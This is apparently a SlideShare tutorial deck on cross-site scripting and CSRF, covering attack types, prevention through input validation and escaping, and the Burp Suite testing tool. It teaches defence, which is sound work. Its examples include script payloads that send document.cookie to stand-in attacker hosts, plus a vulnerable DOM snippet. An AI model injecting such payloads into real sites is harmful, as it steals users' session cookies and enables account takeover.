Cross Site Scripting (XSS)<br />by Amit Tyagi<br />
XSS (-ve) effects<br />stealing other user’s cookies<br />stealing their private information<br />performing actions on behalf of other users<br />redirecting to other websites<br />Showing ads in hidden IFRAMES and pop-ups <br />
XSS input<br />Note: This image has been created using Firebug and this XSS hole is not present in google.com<br />
XSS contd.<br />Let’s assume Web server performs no validationor filtration on this data.<br />Now web server either saves this data + XSS code to some persistent storage (like database) or print this data back in the HTML.<br />When this XSS code, comes from server along with HTML into the web client (Browser) and executes as server’s own code, it gets access whole HTML document, page URL, cookies etc. <br />
XSS output<br />Note: This image has been created using Firebug and this XSS hole is not present in google.com<br />
Type of XSS attacks<br />Non-persistent<br />Persistent<br />DOM Based<br />
Non-persistent<br /> When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links <br /> Example : same as given previously to explain XSS <br />
CSRF<br />Cross-site request forgery <br /> is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website. <br /> for example :<br /> <img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script><br />
CSRF<br />Bank Server<br />Bad Server 1<br />http request with XSS<br />http response with CSRF Link<br />http response with XSS<br /><img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script><br />Bad Server 2<br />Normal User’s Browser<br />Normal User’s Browser<br />http request with cookies<br />
Persistent XSS<br /> In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users. <br />abc<script>window.location = "http://www.hackers.com?yid=" + document.cookie;</script><br />
Persistent XSS<br />Note: This image has been created using Firebug and this XSS hole is not present in blogger.com<br />
DOM based attack<br /> DOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.<br /> <br /> This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw).<br /> <br /> Example<br /> …<br />var pos = document.URL.indexOf("name=")+5;<br /> document.write(document.URL.substring(pos,document.URL.length));<br /> …<br /> <br /> http://www.vulnerable.site/welcome.html?name=Joe<br />
Prevention<br />Never trust the<br /> user input data<br />No matter where it’s coming from ( GET, POST, COOKIE etc.<br />
Validation at server<br /> By sanitizing the input data, we can prevent the malicious code to enter in the system. <br />Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields <br /> <br /> White lists – Allow <strong>, <em> and <br> only – Does help, but not 100% <br /> <br /> Blacklists– Block <script> and other attributes such as onload, onclick, onmouseover etc.<br />
Escaping text before updating DOM at client side<br />To avoid DOM based XSS attacks.<br />
Web vulnerability scanner Applications<br />These applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available (http://sectools.org/web-scanners.html)<br />
Burp suite<br />Burp suite allows an attacker to combine manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.<br />Download: http://portswigger.net/suite/download.html<br />Documentation: http://portswigger.net/suite/help.html<br />
Burp Tools <br />Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions.<br />Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality.<br />Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications.<br />Intruder- a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities.<br />Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses.<br />Sequencer- a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable.<br />Decoder- a tool for performing manual or intelligent decoding and encoding of application data.<br />Comparer- a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.<br />
How to use<br />Run the application and set the browser proxy to localhost: 8080<br />Open any site and Burp will create a sitemap tree in the left panel, as per the site traversal. <br />Select any URL from the tree and add it to intruder. <br />Add different type of payloads for attack, i.e.<br />1<script >alert(1);</script><br />Go to Intruder and click start attack.<br />Burp suite will show the results in a new window.<br />
Parece que tem um bloqueador de anúncios ativo. Ao listar o SlideShare no seu bloqueador de anúncios, está a apoiar a nossa comunidade de criadores de conteúdo.
Atualizámos a nossa política de privacidade.
Atualizámos a nossa política de privacidade de modo a estarmos em conformidade com os regulamentos de privacidade em constante mutação a nível mundial e para lhe fornecer uma visão sobre as formas limitadas de utilização dos seus dados.
Pode ler os detalhes abaixo. Ao aceitar, está a concordar com a política de privacidade atualizada.